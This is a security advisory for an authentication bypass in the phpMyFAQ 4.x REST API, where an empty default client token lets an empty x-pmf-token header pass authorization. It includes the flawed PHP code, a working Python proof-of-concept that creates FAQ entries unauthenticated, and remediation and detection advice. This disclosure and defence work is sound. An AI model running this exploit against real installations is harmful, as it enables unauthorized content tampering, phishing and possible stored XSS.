GHSA-GP95-J463-VV28: Authentication Bypass via Insecure Default Token in phpMyFAQ REST API

phpMyFAQ introduced a comprehensive REST API architecture in version 4.0, designed to facilitate remote administration and content management. This architectural shift exposed several administrative endpoints that handle the creation and modification of knowledge base data. The vulnerability, classified under CWE-1188 (Insecure Default Variable Initialization), resides within the authorization layer protecting these new interfaces.

The application relies on a centralized controller method to authorize incoming API requests based on a pre-configured static client token. During the initial application setup process, the default data seeder initializes this configuration value using an empty string. The combination of this empty default value and a logical oversight in the token validation routine creates a deterministic bypass condition.

An attacker can exploit this condition remotely without prior authentication or administrative privileges. The attack surface encompasses all REST endpoints that rely exclusively on the flawed validation routine. These endpoints govern the creation of FAQ entries, category management, and question submissions.

The exploitation of this vulnerability directly impacts system integrity. The assigned CVSS v3.1 vector string is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N, reflecting the high integrity impact and the low complexity required to execute the attack.

The vulnerability is a direct consequence of two interacting flaws within the phpMyFAQ codebase: insecure default configuration and flawed comparative logic. During the application initialization phase, the DefaultDataSeeder.php script populates the configuration database. Within this script, the api.apiClientToken key is explicitly assigned an empty string value by default.

// src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php
'api.enableAccess'   => 'true',
'api.apiClientToken' => '',       // Insecure default state

The second component of the vulnerability exists within the application's API authorization layer. The REST API relies on a central authentication check implemented in the AbstractController class. The method hasValidToken() retrieves the value of the x-pmf-token header from the incoming HTTP request and compares it against the application's configured api.apiClientToken.

// src/phpMyFAQ/Controller/AbstractController.php
protected function hasValidToken(): void
{
    $request = Request::createFromGlobals();
    if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) {
        throw new UnauthorizedHttpException('"x-pmf-token" is not valid.');
    }
}

The vulnerability manifests when the application evaluates the conditional statement using the strict inequality operator (!==). Because the default configuration stores an empty string, an attacker supplying an empty string in the x-pmf-token header causes the comparison to evaluate as '' !== ''. This expression returns false, preventing the UnauthorizedHttpException from being thrown.

Consequently, the application treats the unauthenticated request as fully authorized. The request context successfully traverses the authentication middleware, and execution proceeds directly to the targeted endpoint controller logic.

Exploitation requires network access to the target host and a phpMyFAQ installation running a vulnerable version with the API enabled and default token configured. No specific server configurations or active user sessions are required to fulfill the exploitation prerequisites. The attacker interacts directly with the REST API endpoints using standard HTTP requests.

The attack methodology involves crafting an HTTP POST or PUT request targeting one of the vulnerable endpoints, such as /api/v4.0/faq/create. The critical component of this request is the inclusion of the x-pmf-token header with an empty value. Providing this empty header manipulates the conditional logic inside hasValidToken() as previously detailed.

import urllib.request
import json
 
TARGET_URL = "http://<target-phpmyfaq-host>"
API_ENDPOINT = f"{TARGET_URL}/api/v4.0/faq/create"
 
# The empty header is the core exploit mechanism
HEADERS = {
    "Content-Type": "application/json",
    "x-pmf-token": ""
}
 
PAYLOAD = {
    "language": "en",
    "category-id": 1,
    "question": "[POC] Authentication Bypass Confirmed",
    "answer": "This entry was created by an unauthenticated user exploiting GHSA-GP95-J463-VV28.",
    "keywords": "security,poc,bypass",
    "author": "Security Researcher",
    "email": "researcher@example.com",
    "is-active": True,
    "is-sticky": False
}
 
def exploit():
    data = json.dumps(PAYLOAD).encode('utf-8')
    req = urllib.request.Request(API_ENDPOINT, data=data, headers=HEADERS, method="POST")
    try:
        with urllib.request.urlopen(req) as response:
            if response.status == 201:
                print(f"[*] Success! HTTP {response.status}: FAQ Created via bypass.")
    except Exception as e:
        print(f"[!] Error: {e}")
 
exploit()

A successful exploit bypasses the authorization layer and processes the supplied JSON payload. The server responds with an HTTP 201 Created status, indicating the payload was successfully committed to the backing database. The attacker can repeat this process to modify categories, submit questions, or update existing FAQ content at will.

The primary consequence of this vulnerability is a complete loss of integrity over the knowledge base content. Because the vulnerable endpoints manage the core data entities of the application, an unauthenticated attacker assumes defacto administrative control over public-facing information. The attacker can programmatically insert, modify, or corrupt FAQ entries without restriction.

This level of access enables several distinct abuse scenarios. Attackers can execute automated campaigns to flood the database with SEO spam, degrading the platform's utility and consuming storage resources. Furthermore, attackers can alter existing, trusted answers to redirect users to malicious domains or distribute convincing phishing materials.

The vulnerability does not directly expose database credentials, configuration files, or underlying operating system resources. The confidentiality impact is assessed as none, as the affected endpoints do not return sensitive administrative data beyond the expected JSON confirmation responses. System availability remains largely unaffected unless the attacker intentionally exhausts database storage limits.

Secondary exploitation paths may emerge depending on the application's content rendering configuration. If the application processes injected FAQ content without sufficient output encoding, attackers could leverage this authorization bypass to deploy persistent Cross-Site Scripting (XSS) payloads targeting administrators who view the corrupted entries via the administrative dashboard.

The most effective remediation strategy is upgrading the phpMyFAQ installation to version 4.1.3 or later. The patch corrects the insecure default data seeder, ensuring newly provisioned instances possess robust, non-empty initial configuration values. Furthermore, the AbstractController logic was updated to validate string length and explicitly reject empty authorization headers regardless of the underlying configuration state.

Administrators operating vulnerable versions who cannot immediately deploy the patch must implement manual configuration changes. Logging into the administrative control panel and navigating to the API settings allows the definition of a cryptographically secure, non-empty API client token. Once populated, the application logic will accurately reject incoming requests carrying empty headers.

If the REST API functionality is not utilized for operational workflows, administrators should disable the API architecture entirely. This architectural mitigation eliminates the attack surface, rendering the underlying token validation logic inaccessible to remote attackers.

Security engineers can detect exploitation attempts by inspecting reverse proxy or web server access logs. The logs should be queried for HTTP POST or PUT methods targeting URIs matching the /api/v4.0/ pattern. While standard access logs typically do not capture header values, high volumes of unauthenticated POST requests from untrusted network spaces strongly indicate exploitation activity.